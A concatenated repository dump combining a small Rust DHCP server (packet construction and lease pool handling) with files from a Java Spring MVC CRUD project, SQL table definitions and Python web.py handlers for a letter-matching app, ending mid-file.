DhcpOption::MessageType(DhcpMessageType::DHCPDISCOVER) => { // DHCPOFFER y = self.get_client_ip(); if y.is_unspecified() { y = match self.options.get(&REQUESTED_IP_ADDRESS) { Some(i) => match i { DhcpOption::RequestedIpAddress(x) => *x, _ => y, }, _ => y, }; } if !y.is_unspecified() && p.available(y) { offer_value = DhcpMessageType::DHCPOFFER.into(); } else { offer_value = DhcpMessageType::DHCPOFFER.into(); y = match p.ip_for_mac(self.chaddr.clone()) { // did we already give out an IP to this mac? Ok(m) => m, Err(e) => { println!("{:?}", e); let l = p.allocate_address(self.chaddr.clone(), c.lease_time); match l { Ok(x) => x.ip, Err(_) => { offer_value = DhcpMessageType::DHCPNAK.into(); Ipv4Addr::LOCALHOST } } } } } } DhcpOption::MessageType(DhcpMessageType::DHCPREQUEST) => { // client is requesting an IP y = match self.options.get(&REQUESTED_IP_ADDRESS) { Some(i) => match i { DhcpOption::RequestedIpAddress(x) => *x, _ => { eprintln!("{:?}", self); Ipv4Addr::UNSPECIFIED } }, _ => Ipv4Addr::from(self.ciaddr), }; // if it's available or this client had it before... if p.available(y) { if c.debug { println!( "Received DHCPREQUEST for {} from {}, issuing lease. ACKing...", y, format_mac(&self.chaddr), ); offer_value = DhcpMessageType::DHCPACK.into(); } } else if let Some(kv) = p.leases.get(&LeaseUnique { ip: y.clone(), hwaddr: Box::new(self.chaddr.clone()), }) { if kv.hwaddr == self.chaddr { if c.debug { println!( "Received DHCPREQUEST for {} from {}, re-issuing. ACKing...", y, format_mac(&self.chaddr), ); } offer_value = DhcpMessageType::DHCPACK.into(); p.update_lease(self.chaddr.clone(), SystemTime::now()); } } else { // no IP for you if c.debug { println!( "Received DHCPREQUEST for {} from {}, available?: {}. NAKed.", y, format_mac(&self.chaddr), p.available(y) ); } offer_value = DhcpMessageType::DHCPNAK.into(); message = format!("IP address {} is unavailable.", y); } } _ => {} } response[16] = y.octets()[0]; response[17] = y.octets()[1]; response[18] = y.octets()[2]; response[19] = y.octets()[3]; response.append(&mut MAGIC_COOKIE.to_vec()); assert_eq!(response.len(), 240); response.push(DHCP_MESSAGE_TYPE); response.push(offer_len); response.push(offer_value); // parse our requested parameters to determine what to stick // into the dhcp response portion of our reply let prl = self.get_prl(); for x in prl { match x { SUBNET_MASK => { response.push(SUBNET_MASK); response.push(subnet_mask_len); response.append(&mut subnet_mask.to_vec()); } ROUTER => { response.push(ROUTER); response.push(router_option_len); response.append(&mut router_option_value.to_vec()); } DOMAIN_NAME_SERVER => { response.push(DOMAIN_NAME_SERVER); response.push((c.dns_servers.len() * 4).try_into().unwrap()); c.dns_servers.clone().into_iter().for_each(|i| { i.octets().iter().for_each(|o| { response.push(*o); }); }); } DOMAIN_NAME => { if c.domain.len() > 0 { { response.push(DOMAIN_NAME); response.push(c.domain.chars().count().try_into().unwrap()); response.append(&mut c.domain.as_bytes().to_vec()); } } } _ => {} } } response.push(SERVER_IDENTIFIER); response.push(dhcp_server_id_len); response.append(&mut dhcp_server_id_value.to_vec()); response.push(IP_ADDRESS_LEASE_TIME); response.push(lease_time_len); response.append(&mut lease_time.to_be_bytes().to_vec()); if message.chars().count() > 0 { response.push(MESSAGE); response.push(message.chars().count().try_into().unwrap()); let m = message.as_bytes(); response.append(&mut m.to_vec()); } response.push(option_end); if response.len() < 276 { loop { response.push(0); if response.len() >= 276 { break; } } } &p.prune_leases(); return response; } fn build_bootp_packet(&self, p: &mut Pool, c: &Config) -> Vec<u8> { let mut response: Vec<u8> = Vec::new(); let op: u8 = 0x02; // response let htype: u8 = self.htype; // ethernet let hlen: u8 = self.hlen; // hardware len let hops: u8 = 0; let xid = self.xid; let secs: u16 = 0; let flags: u16 = 0b0000_0001_0000_0000; let ciaddr: [u8; 4] = self.ciaddr.to_be_bytes(); let mut yiaddr: [u8; 4] = [0, 0, 0, 0]; let mut chaddr = self.chaddr.clone(); // TODO some stuff in here so we understand the 'conversation' part of the dhcp conversation // remember the xid match self.options.get(&DHCP_MESSAGE_TYPE) { Some(i) => match i { DhcpOption::MessageType(x) => match x { DhcpMessageType::DHCPDISCOVER | DhcpMessageType::DHCPREQUEST => { match self.options.get(&REQUESTED_IP_ADDRESS) { Some(i) => match i { DhcpOption::RequestedIpAddress(x) => { if p.valid_lease(*x) { // just ACK the client their requested address yiaddr = x.octets(); if c.debug { println!("acking client {}", Ipv4Addr::from(yiaddr)); } } } _ => {} }, None => { // client isn't requesting one specifically here, let's generate one and give it to em let mut found: bool = false; for (_k, l) in p.leases.iter_mut() { if l.hwaddr == chaddr { // a lease already exists match l.lease_status() { LeaseStatus::Fresh => { yiaddr = l.ip.octets(); found = true; break; } LeaseStatus::Decaying => { l.update_lease(SystemTime::now()); yiaddr = l.ip.octets(); found = true; break; } LeaseStatus::Expired => { break; } } } } if found { if c.debug { println!( "found existing lease for {}; re-issuing lease to {}", Ipv4Addr::from(yiaddr), format_mac(&chaddr) ); } } if !found { yiaddr = match p.allocate_address(chaddr.clone(), c.lease_time) { Ok(l) => l.ip.octets(), Err(e) => { if c.debug { println!("Error allocating address: {:?}", e); } [0, 0, 0, 0] } }; if c.debug { println!( "new address requested for {}; issuing new lease to {}", Ipv4Addr::from(yiaddr), format_mac(&chaddr) ); } } } } } DhcpMessageType::DHCPACK => {} DhcpMessageType::DHCPNAK => {} DhcpMessageType::DHCPRELEASE => { if c.debug { println!("RELEASE {}", self); } } DhcpMessageType::DHCPINFORM => {} _ => {} }, _ => {} }, None => {} } let siaddr: [u8; 4] = self.siaddr.to_be_bytes(); let giaddr: [u8; 4] = Ipv4Addr::new(0, 0, 0, 0).octets(); let sname: &str = "dhcpd-rs.lan.zero9f9.com"; let file: [u8; 128] = [0; 128]; response.push(op); response.push(htype); response.push(hlen); response.push(hops); BEByteSerializable::to_be_bytes(&xid, &mut response); BEByteSerializable::to_be_bytes(&secs, &mut response); BEByteSerializable::to_be_bytes(&flags, &mut response); response.append(&mut ciaddr.to_vec()); response.append(&mut yiaddr.to_vec()); response.append(&mut siaddr.to_vec()); response.append(&mut giaddr.to_vec()); let mut chaddr_paddr = Vec::with_capacity(16 - chaddr.len()); // they gotta be padded out to fill expected bootp field size ... // chaddr should be 16 bytes... for _i in 0..chaddr_paddr.capacity() { chaddr_paddr.push(0); } response.append(&mut chaddr); response.append(&mut chaddr_paddr); let mut e = sname.as_bytes().to_vec(); // and server name 64 bytes... let mut pad = Vec::with_capacity(64 - e.len()); for _i in 0..pad.capacity() { pad.push(0); } response.append(&mut e); response.append(&mut pad); response.append(&mut file.to_vec()); if response.len() < 236 { loop { response.push(0); if response.len() >= 236 { break; } } } response } fn get_ipv4_array( &self, total_len: usize, ipv4_octets: Vec<u8>, ) -> Result<Vec<Ipv4Addr>, DhcpMessageParseError> { if total_len % 4 != 0 { let dmpe: DhcpMessageParseError = DhcpMessageParseError { raw_byte_array: ipv4_octets, }; return Err(dmpe); } let mut ovec: Vec<Ipv4Addr> = Vec::new(); for x in 0..total_len { if x % 4 == 0 || x == 0 { let r: Ipv4Addr = Ipv4Addr::new( ipv4_octets[usize::from(x)], ipv4_octets[usize::from(x) + 1], ipv4_octets[usize::from(x) + 2], ipv4_octets[usize::from(x) + 3], ); ovec.push(r); } } Ok(ovec) } pub(crate) fn get_client_ip(&self) -> Ipv4Addr { return Ipv4Addr::from(self.ciaddr); } pub(crate) fn get_options_index(&self, ba: &[u8]) -> usize { // examine each four bytes - are they our magic cookie? // they have to start at the end of the base bootp data let mut start: usize = 200; let mut end: usize = 204; let ba_len = ba.len(); for _b in 0..=ba_len { if ba[start..end] == MAGIC_COOKIE { return start; } start += 1; end += 1; // if we run out of bits, it can't be here if end >= ba_len { return 0; } } // if we didn't find it already 0 } fn get_yiaddr(&self) -> Ipv4Addr { Ipv4Addr::from(self.yiaddr) } fn get_prl(&self) -> Vec<u8> { match self.options.get(&PARAMETER_REQUEST_LIST) { Some(d) => match d { DhcpOption::ParameterRequestList(a) => return a.clone(), _ => return Vec::new(), }, None => return Vec::new(), } } } <file_sep>use std::{collections::HashMap, net::Ipv4Addr, time::Duration, time::SystemTime}; #[derive(Debug, Clone)] pub struct Pool { range: Vec<Ipv4Addr>, pub(crate) leases: HashMap<LeaseUnique, Lease>, exclusions: Vec<Ipv4Addr>, reservations: Vec<Lease>, } #[derive(Debug, Clone)] pub struct Lease { pub ip: Ipv4Addr, pub hwaddr: Vec<u8>, pub lease_timestamp: SystemTime, pub lease_len: u32, } #[derive(Debug, PartialEq, Eq)] pub enum LeaseStatus { Fresh, Expired, Decaying, } #[allow(dead_code)] #[derive(Debug, Clone)] pub enum PoolError { PoolExhausted, RequestedAddressOutOfRange, RequestedAddressAlreadyAssigned, } #[derive(Debug, Clone, Hash, PartialEq, Eq, PartialOrd, Ord)] pub struct LeaseUnique { pub(crate) ip: Ipv4Addr, pub(crate) hwaddr: Box<Vec<u8>>, } impl PartialEq for Lease { fn eq(&self, other: &Self) -> bool { if self.ip == other.ip && self.hwaddr == other.hwaddr { return true; } return false; } } impl Lease { pub(crate) fn lease_status(&self) -> LeaseStatus { if self.lease_timestamp.elapsed().unwrap() > Duration::from_secs(self.lease_len.into()) { return LeaseStatus::Expired; } else if self.lease_timestamp.elapsed().unwrap() < Duration::from_secs((self.lease_len / 2).into()) { return LeaseStatus::Fresh; } else { return LeaseStatus::Decaying; } } pub(crate) fn update_lease(&mut self, lt: SystemTime) { self.lease_timestamp = lt; } } impl Pool { pub fn new(s: Ipv4Addr, e: Ipv4Addr) -> Self { Pool { range: Self::enumerate_range(s, e), exclusions: Vec::new(), leases: HashMap::new(), reservations: Vec::new(), } } pub(crate) fn prune_leases(&mut self) { let mut expired_leases: Vec<LeaseUnique> = Vec::new(); for (k, l) in &self.leases { match l.lease_status() { LeaseStatus::Fresh => {} LeaseStatus::Expired => { expired_leases.push(k.clone()); } LeaseStatus::Decaying => {} } } for position in expired_leases { println!("pruning lease {:?}", self.leases.get(&position)); self.leases.remove(&position); } } pub(crate) fn allocate_address( &mut self, hwaddr: Vec<u8>, lease_len: u32, ) -> Result<Lease, PoolError> { if self.range.len() < 1 { return Err(PoolError::PoolExhausted); } let i = self.range.pop(); let ip = match i { Some(x) => x, None => { return Err(PoolError::PoolExhausted); } }; let lease_timestamp = SystemTime::now(); let l: Lease = Lease { ip, hwaddr: hwaddr.clone(), lease_timestamp, lease_len, }; let k: LeaseUnique = LeaseUnique { ip, hwaddr: Box::new(hwaddr), }; self.leases.insert(k, l.clone()); Ok(l) } pub(crate) fn available(&self, i: Ipv4Addr) -> bool { if self.range.contains(&i) { return true; } false } pub(crate) fn update_lease(&mut self, hwaddr: Vec<u8>, lt: SystemTime) { self.leases.iter_mut().for_each(|(l, k)| { if k.hwaddr == hwaddr { k.update_lease(lt); } }); } pub(crate) fn delete_lease(&mut self, ip: Ipv4Addr, hwaddr: Vec<u8>) -> Result<(), PoolError> { let lu = LeaseUnique { ip, hwaddr: Box::new(hwaddr), }; match self.leases.remove(&lu) { Some(_) => return Ok(()), None => return Err(PoolError::RequestedAddressOutOfRange), } } pub(crate) fn ip_for_mac(&self, mac: Vec<u8>) -> Result<Ipv4Addr, PoolError> { for (k, l) in self.leases.iter() { if l.hwaddr == mac { return Ok(l.ip.clone()); } } return Err(PoolError::RequestedAddressAlreadyAssigned); } pub(crate) fn valid_lease(&self, a: Ipv4Addr) -> bool { for (k, l) in self.leases.iter() { if l.ip == a { if l.lease_status() != LeaseStatus::Expired { return true; } } } false } fn enumerate_range(s: Ipv4Addr, e: Ipv4Addr) -> Vec<Ipv4Addr> { let high_end = e.octets()[3]; let low_end = s.octets()[3]; let mut a = Vec::<Ipv4Addr>::new(); for i in low_end..=high_end { a.push(Ipv4Addr::new( e.octets()[0], e.octets()[1], e.octets()[2], i, )); } return a; } } <file_sep># dhcpd-rs a simple and dumb dhcp server to learn `simple`, `dumb`, `dhcp server`, and `more rust`.
b80abe2705a3a405578e644b6034fe13caff4b7d
[ "Markdown", "Rust" ]
6
Rust
CtrlAltMech/dhcpd-rs
d014b933a89c33ff7cf4f64037aef19d09f5e9f5
6546012fffd14d4450a14e4410922ddac54fe8ea
refs/heads/master
<file_sep>use oletter; drop table if exists letter; create table letter( user_id int not null, sender_id int not null, letter_id int not null, add_time bigint not null, have_read enum('0','1') not null )engine=InnoDB default charset=utf8; insert into letter(user_id, letter_id,add_time,have_read) values(3,1,1465300000,'0'); insert into letter(user_id, letter_id,add_time,have_read) values(3,1,1465300050,'1'); <file_sep>#!/usr/bin/python #-*- coding: utf8 -*- import web from route import route from database import * from output import output @route('/api/mate/check') class MateCheck: def GET(self): return output(200,MateCheck.CheckMate()) @staticmethod def CheckMate(): session = web.ctx.session if not session.has_key('user_id'): return output(411) if session['type'] == '0': return output(410) is_mate = True db = getDb() results = db.select('userinfo',var = {'id':session['user_id']}, where = 'user_id = $id', what = 'have_connect') if results[0].have_connect == '0': is_mate = False return {'is_mate':is_mate}<file_sep>#!/usr/bin/python # -*- coding: utf8 -*- __all__ = ['letter_list','letter_detail','letter_send'] from . import *<file_sep>use oletter; drop table if exists letter_detail; create table letter_detail( letter_id int PRIMARY KEY AUTO_INCREMENT not null, user_id int, sender_id int not null, sender_name varchar(20) not null, add_time bigint not null, title text not null, content text not null )engine=InnoDB default charset=utf8; insert into letter_detail(letter_id,sender_id,add_time,title,content) values(1,3,1465300000,'text','text'); insert into letter_detail( letter_id,sender_id,add_time,title,content) values(2,4,1465300050,'text','text'); <file_sep>#!/usr/bin/python #-*- coding: utf8 -*- from is_mate import * @route('/api/mate/name/get') class getMatename: def GET(self): session = web.ctx.session if not session.has_key('user_id'): return output(411) if session['user_type'] == 0: return output(410) is_mate = MateCheck.CheckMate() if not is_mate['is_mate']: return output(450) db = getDb() results = db.select('mate',var = {'id':session['user_id'],'type':'1'}, where = 'user_id = $id and have_connect = $type', what = 'mate_name') return output(200,{'mate_name':results[0].mate_name}) <file_sep>#!/usr/bin/python #-*- coding: utf8 -*- import web import random import time from route import route from output import * from database import * @route('/api/user/mate') class Usermate: def POST(self): mate_time = int(time.mktime(time.localtime())) session = web.ctx.session if not session.has_key('user_id'): return output(411) if session['type'] == '0': return output(410) db = getDb() result = db.select('userinfo',var = {'id':session['user_id']}, where = 'user_id =$id', what = 'have_connect') if result[0].have_connect == '1': return output(450) res = db.select('letter_detail',var ={'id':session['user_id']}, where = 'sender_id!=$id', order = 'add_time desc', what = 'sender_id') is_mate = False for i in res: mate = db.select('userinfo',var ={'id':i.sender_id}, where = 'user_id = $id', what = 'user_id,have_connect') if mate[0].have_connect == '0': is_mate =True break if is_mate == False: return output(451) var = {'id1':session['user_id'],'id2':mate[0].user_id} t = db.transaction() try: db.update('mate',var, where = 'user_id = $id1',mate_id = mate[0].user_id, add_time = mate_time) db.update('mate',var,where = 'user_id=$id2',mate_id = session['user_id'], add_time = mate_time) db.update('userinfo',var, where = 'user_id =$id1 or user_id = $id2',have_connect = '1') rq =db.select('letter_detail',var = {'id1':mate[0].user_id,'id':'','id2':session['user_id']}, where = 'user_id = $id and (sender_id=$id1 or sender_id = $id2)', what = 'letter_id,add_time') for i in rq: db.update('letter_detail',var ={'id': i.letter_id}, where = 'letter_id = $id',user_id =session['user_id']) db.insert('letter',user_id =session['user_id'],add_time =i.add_time,have_connect = '0', letter_id = i.letter_id,sender_id = mate[0].user_id) t.commit() except: t.rollback() return output(700) return output(200)
a6b314b6d0ecb64a13acfd4d772b4d27b19ea32e
[ "SQL", "Python" ]
6
SQL
Dot-Liu/Oletter
77b61fd26d6aec8609a285881ef6da7f03932523
2dbe30cc0e557e9399b7863548480b0a70591a74
refs/heads/master
<repo_name>QBTMS/repo<file_sep>/mvccrud/src/main/java/service/impl/UsersServiceImpl.java package service.impl; import dao.UsersDao; import model.Users; import model.UsersAndRoles; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Propagation; import org.springframework.transaction.annotation.Transactional; import service.UsersService; import java.util.List; /** * Created by prasad on 9/5/14. */ @Service("usersService") @Transactional(propagation = Propagation.SUPPORTS, readOnly = true) public class UsersServiceImpl implements UsersService { @Autowired private UsersDao usersDao; @Override @Transactional public boolean addusres(Users users) { usersDao.addusres(users); return true; } @Override public List<Users> getUsers(String email) { return usersDao.getUsers(email); } @Override public List<Users> listAllUserNames() { return usersDao.listAllUserNames(); } } <file_sep>/mvccrud/src/main/java/model/Employee.java package model; import org.hibernate.validator.constraints.Range; import javax.persistence.*; import javax.validation.constraints.*; import java.io.Serializable; import java.util.ArrayList; import java.util.List; /** * Created by prasad on 4/24/14. */ @Entity @Table(name="Employee") public class Employee implements Serializable { private static final long serialVersionUID = -723583058586873479L; @Id @GeneratedValue(strategy= GenerationType.AUTO) @Column(name = "EMPID") private Integer empId; @Size(min = 1, max = 10) @Pattern(regexp ="^[A-Z]{1}[a-z]{0,9}$", message = "FIrst latter of the name should be capital and rests are simple") @Column(name="EMPNAME") private String empName; @Size(min = 1, max = 100) @Column(name="ADDRESS") private String empAddress; @NotNull @Min(1000) @Max(100000) @Column(name="SALARY") private Long salary; @NotNull @Range(min = 18, max = 60) @Column(name="AGE") private Integer empAge; @OneToMany(fetch = FetchType.EAGER, mappedBy = "employee") private List<Vehicle> vehicleList = new ArrayList<Vehicle>(); public Employee() { } public Employee(Integer empId, String empName, String empAddress, Long salary, Integer empAge) { this.empId = empId; this.empName = empName; this.empAddress = empAddress; this.salary = salary; this.empAge = empAge; } public Integer getEmpId() { return empId; } public void setEmpId(Integer empId) { this.empId = empId; } public String getEmpName() { return empName; } public void setEmpName(String empName) { this.empName = empName; } public String getEmpAddress() { return empAddress; } public void setEmpAddress(String empAddress) { this.empAddress = empAddress; } public Long getSalary() { return salary; } public void setSalary(Long salary) { this.salary = salary; } public Integer getEmpAge() { return empAge; } public void setEmpAge(Integer empAge) { this.empAge = empAge; } public static long getSerialVersionUID() { return serialVersionUID; } public List<Vehicle> getVehicleList() { return vehicleList; } public void setVehicleList(List<Vehicle> vehicleList) { this.vehicleList = vehicleList; } } <file_sep>/mvccrud/src/main/java/service/impl/CompletedProjectTaskServiceImpl.java package service.impl; import dao.CompletedProjectTaskDao; import model.CompletedProjectTask; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Propagation; import org.springframework.transaction.annotation.Transactional; import service.CompletedProjectTaskService; import java.util.List; /** * Created by prasad on 9/17/14. */ @Service("completedProjectTasksService") @Transactional(propagation = Propagation.SUPPORTS, readOnly = true) public class CompletedProjectTaskServiceImpl implements CompletedProjectTaskService { @Autowired private CompletedProjectTaskDao completedProjectTaskDao; @Override @Transactional public void addProjectTask(CompletedProjectTask projectTasks) { completedProjectTaskDao.addProjectTask(projectTasks); } @Override @Transactional public List<CompletedProjectTask> listMyProjectTasks() { return completedProjectTaskDao.listMyProjectTasks(); } @Override @Transactional public List<CompletedProjectTask> allCompletedProjectTasks() { return completedProjectTaskDao.allCompletedProjectTasks(); } @Override @Transactional public List<CompletedProjectTask> listAsignedProjectTasks() { return null; } @Override @Transactional public CompletedProjectTask getProjectTask(long projectTaskId) { return null; } @Override @Transactional public void deleteProjectTask(CompletedProjectTask projectTasks) { completedProjectTaskDao.deleteProjectTask(projectTasks); } @Override @Transactional public CompletedProjectTask findProjectTaskById(long projectTaskId) { return completedProjectTaskDao.findProjectTaskById(projectTaskId); } @Override @Transactional public void updateProjectTask(long projectTaskId, int completenessLevel) { } @Override @Transactional public void findByProject(long project_id) { } @Override @Transactional public void update(long projectTaskId, int completenessLevel) { } @Override public int taskCompletedCount() { return completedProjectTaskDao.taskCompletedCount(); } } <file_sep>/mvccrud/src/main/java/model/UsersAndRoles.java package model; import javax.persistence.*; import java.io.Serializable; /** * Created by prasad on 9/5/14. */ @Entity @Table(name = "usersandroles") public class UsersAndRoles implements Serializable{ @Id @GeneratedValue(strategy = GenerationType.AUTO) @Column(name = "id") private int id; @Column(name = "user_id") private int user_id; @Column(name = "role_id") private int role_id; public UsersAndRoles(){} public UsersAndRoles(int user_id, int role_id) { this.user_id = user_id; this.role_id = role_id; } public int getUser_id() { return user_id; } public void setUser_id(int user_id) { this.user_id = user_id; } public int getRole_id() { return role_id; } public void setRole_id(int role_id) { this.role_id = role_id; } public int getId() { return id; } public void setId(int id) { this.id = id; } } <file_sep>/mvccrud/src/main/java/dao/UsersDao.java package dao; import model.Users; import model.UsersAndRoles; import java.util.List; /** * Created by prasad on 9/5/14. */ public interface UsersDao { boolean addusres(Users users); List<Users> getUsers(String email); public List<Users> listAllUserNames(); } <file_sep>/mvccrud/src/main/java/service/UserTaskService.java package service; import model.UserTask; import java.util.List; /** * Created by prasad on 6/4/14. */ public interface UserTaskService { public void addUserTask(UserTask userTask); public List<UserTask> listUserTask(); public UserTask getUserTask(long userTaskId); public void deleteUserTask(UserTask userTask); public UserTask findById(long userTaskId); public void update(long userTaskId, int completenessLevel); public int getAllUserTaskCount(); public int getCompletedUserTaskCount(); public int getIncompleteUserTaskCount(); } <file_sep>/mvccrud/src/main/resources/message.properties #vehicle.type.empty = Vehicle type cannot be empty #vehicle.number.empty = Vehicle number cannot be empty<file_sep>/mvccrud/src/main/java/model/CompletedUserTask.java package model; import javax.persistence.*; import java.util.Date; /** * Created by prasad on 6/8/14. */ @Entity @Table(name = "completedUserTask") public class CompletedUserTask { @Id @GeneratedValue(strategy= GenerationType.AUTO) @Column(name = "userTaskId") private Long userTaskId; @Column(name = "userName") private String userName; @Column(name = "userTaskName") private String userTaskName; @Column(name = "userTaskDiscription") private String userTaskDiscription; @Column(name = "startedDate", columnDefinition="DATETIME") @Temporal(TemporalType.TIMESTAMP) private java.util.Date startedDate; @Column(name = "toBeCompleted", columnDefinition="DATETIME") @Temporal(TemporalType.TIMESTAMP) private java.util.Date toBeCompleted; @Column(name = "completedDate", columnDefinition="DATETIME") @Temporal(TemporalType.TIMESTAMP) private java.util.Date completedDate; @Column(name = "completenessLevel") private int completenessLevel; public CompletedUserTask(){} public CompletedUserTask(Date completedDate, String userName, String userTaskName, String userTaskDiscription, Date startedDate, Date toBeCompleted, int completenessLevel) { this.completedDate = completedDate; this.userName = userName; this.userTaskName = userTaskName; this.userTaskDiscription = userTaskDiscription; this.startedDate = startedDate; this.toBeCompleted = toBeCompleted; this.completenessLevel = completenessLevel; } public Long getUserTaskId() { return userTaskId; } public void setUserTaskId(Long userTaskId) { this.userTaskId = userTaskId; } public String getUserTaskName() { return userTaskName; } public void setUserTaskName(String userTaskName) { this.userTaskName = userTaskName; } public String getUserTaskDiscription() { return userTaskDiscription; } public void setUserTaskDiscription(String userTaskDiscription) { this.userTaskDiscription = userTaskDiscription; } public Date getStartedDate() { return startedDate; } public void setStartedDate(Date startedDate) { this.startedDate = startedDate; } public Date getToBeCompleted() { return toBeCompleted; } public void setToBeCompleted(Date toBeCompleted) { this.toBeCompleted = toBeCompleted; } public Date getCompletedDate() { return completedDate; } public void setCompletedDate(Date completedDate) { this.completedDate = completedDate; } public String getUserName() { return userName; } public void setUserName(String userName) { this.userName = userName; } public int getCompletenessLevel() { return completenessLevel; } public void setCompletenessLevel(int completenessLevel) { this.completenessLevel = completenessLevel; } } <file_sep>/mvccrud/src/main/java/dao/impl/UsersAndRolesDaoImpl.java package dao.impl; import dao.UsersAndRolesDao; import model.UsersAndRoles; import org.hibernate.SessionFactory; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Repository; /** * Created by prasad on 9/5/14. */ @Repository("usersAndRoles") public class UsersAndRolesDaoImpl implements UsersAndRolesDao { @Autowired private SessionFactory sessionFactory; @Override public void addRoles(UsersAndRoles usersAndRoles) { sessionFactory.getCurrentSession().saveOrUpdate(usersAndRoles); } } <file_sep>/mvccrud/src/main/java/controller/EmployeeController.java package controller; //import bean.EmployeeBean; import model.Employee; import java.util.HashMap; import java.util.List; import java.util.Map; import model.Vehicle; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Controller; import org.springframework.ui.ModelMap; import org.springframework.validation.BindingResult; import org.springframework.web.bind.annotation.*; import org.springframework.web.servlet.ModelAndView; import service.EmployeeService; import service.VehicleService; import javax.validation.Valid; /** * Created by prasad on 4/24/14. */ @Controller public class EmployeeController { @Autowired private EmployeeService employeeService; @Autowired private VehicleService vehicleService; @RequestMapping(value = "/save", method = RequestMethod.POST) public String saveEmployee(@Valid @ModelAttribute("command") Employee employee, BindingResult result) { System.out.println("Has errorssssss" + result.hasErrors()); if(result.hasErrors()){ System.out.println("Has errorssssss"); return "addEmployee"; } employeeService.addEmployee(employee); return "redirect:/employees.html"; /* }catch (Exception e){ System.out.println("*****************************Exception***************************************" + e ); return new ModelAndView("errorView"); }*/ } @RequestMapping(value = "/saveVehicle", method = RequestMethod.POST) public String saveVehicle( /*@RequestParam("vehicleNumber") String vehicleNumber, @RequestParam("vehicleType") String vehicleType, @RequestParam("employee") int employee*/ @Valid Vehicle commandVehicle ,BindingResult result) { /*if(result.hasErrors()){ System.out.println("\n\nHas errors\n\n" + result.hasErrors() + "\n\n\n" + result.getAllErrors() + "\n\n\n"); return"redirect:/addVehicle.html"; }*/ // System.out.println("\n\nHas errors\n\n" + result.hasErrors()); // System.out.println("\n\n"+result.getAllErrors()+"\n\n"); Employee employee = commandVehicle.getEmployee(); System.out.println("\n\n\nemployee = "+employee+"\n\n\n"); // String vehicleNumber = commandVehicle.getVehicleNumber(); // System.out.println("\n\n\nvehicleNumber = "+vehicleNumber+"\n\n\n"); String vehicleType = commandVehicle.getVehicleType(); System.out.println("\n\n\nvehicleType = "+vehicleType+"\n\n\n"); // Vehicle vehicle = new Vehicle(vehicleNumber,vehicleType,employeeService.findById(employee)); vehicleService.addVehicle(commandVehicle); return "redirect:/add.html"; } /* @RequestMapping(value = "/saveVehicle", method = RequestMethod.POST) public String saveVehicle(@ModelAttribute("commandVehicle") Vehicle v) { // if(result.hasErrors()){ // System.out.println("\n\nHas errors\n\n" + result.hasErrors()); // return"redirect:/addVehicle.html"; // } // System.out.println("\n\nHas errors\n\n" + result.hasErrors()); //System.out.println("\n\n"+result.getAllErrors()+"\n\n"); // v.setEmployee(employeeService.findById(employee)); // Vehicle vehicle = new Vehicle(v.getVehicleNumber(),v.getVehicleType(),employeeService.findById(employee)); vehicleService.addVehicle(v); return "redirect:/add.html"; }*/ /*@RequestMapping(value="/employees", method = RequestMethod.GET) public ModelAndView listEmployees() { Map<String, Object> model = new HashMap<String, Object>(); model.put("employees", employeeService.listEmployeess()); return new ModelAndView("employeeList", model); }*/ @RequestMapping(value="/employees", method = RequestMethod.GET) public String listEmployees(ModelMap model) { List<Employee> empList = employeeService.listEmployeess(); List<Vehicle> vehicleList = vehicleService.listVehicles(); model.addAttribute("employees", empList); model.addAttribute("vehicles", vehicleList); return "employeeList"; } /*@RequestMapping(value = "/add", method = RequestMethod.GET) public ModelAndView addEmployee(@ModelAttribute("command")Employee employee, @ModelAttribute("commandVehicle") Vehicle vehicle, BindingResult result) { Map<String, Object> model = new HashMap<String, Object>(); model.put("employees",employeeService.listEmployeess()); model.put("vehicles",vehicleService.listVehicles()); return new ModelAndView("addEmployee", model); }*/ @RequestMapping(value = "/add", method = RequestMethod.GET) public String addEmployee(ModelMap model, @ModelAttribute("command")Employee employee, @ModelAttribute("commandVehicle") Vehicle vehicle, BindingResult result) { List<Employee> empList = employeeService.listEmployeess(); List<Vehicle> vehicleList = vehicleService.listVehicles(); model.addAttribute("employees", empList); model.addAttribute("vehicles", vehicleList); return "addEmployee"; } @RequestMapping(value = "/addVehicle", method = RequestMethod.GET) public String addVehicle(ModelMap model, @ModelAttribute("command")Employee employee, @ModelAttribute("commandVehicle") Vehicle vehicle, BindingResult result) { List<Employee> empList = employeeService.listEmployeess(); List<Vehicle> vehicleList = vehicleService.listVehicles(); model.addAttribute("employees", empList); model.addAttribute("vehicles", vehicleList); return "addVehicle"; } @RequestMapping(value = "/index", method = RequestMethod.GET) public ModelAndView welcome() { return new ModelAndView("index"); } @RequestMapping(value = "/delete", method = RequestMethod.GET) public String editEmployee(ModelMap model, @ModelAttribute("command")Employee employee, @ModelAttribute("commandVehicle") Vehicle vehicle, BindingResult result) { vehicleService.deleteVehicles(employee); employeeService.deleteEmployee(employee); List<Employee> empList = employeeService.listEmployeess(); List<Vehicle> vehicleList = vehicleService.listVehicles(); model.addAttribute("employees", empList); model.addAttribute("vehicles", vehicleList); return "addEmployee"; } @RequestMapping(value = "/edit", method = RequestMethod.GET) public ModelAndView deleteEmployee(@ModelAttribute("command")Employee employee, BindingResult result) { Map<String, Object> model = new HashMap<String, Object>(); model.put("employee",employeeService.getEmployee(employee.getEmpId())); model.put("employees", employeeService.listEmployeess()); model.put("vehicles", vehicleService.listVehicles()); return new ModelAndView("addEmployee", model); } @RequestMapping(value = "/deleteV", method = RequestMethod.GET) public String editVehicle(ModelMap model, @ModelAttribute("command")Employee employee, @ModelAttribute("commandVehicle") Vehicle vehicle, BindingResult result) { vehicleService.deleteVehicle(vehicle); List<Employee> empList = employeeService.listEmployeess(); List<Vehicle> vehicleList = vehicleService.listVehicles(); model.addAttribute("employees", empList); model.addAttribute("vehicles", vehicleList); return "addEmployee"; } @RequestMapping(value = "/editV", method = RequestMethod.GET) public ModelAndView deleteVehicle(@ModelAttribute("command")Employee employee, @ModelAttribute("commandVehicle") Vehicle vehicle, BindingResult result) { Map<String, Object> model = new HashMap<String, Object>(); model.put("vehicle",vehicleService.getVehicle(vehicle.getVehicleNumber())); model.put("vehicles", vehicleService.listVehicles()); return new ModelAndView("addVehicle", model); } } <file_sep>/mvccrud/src/main/java/dao/impl/CompletedProjectTaskDaoImpl.java package dao.impl; import dao.CompletedProjectTaskDao; import dao.ProjectDao; import dao.UserDao; 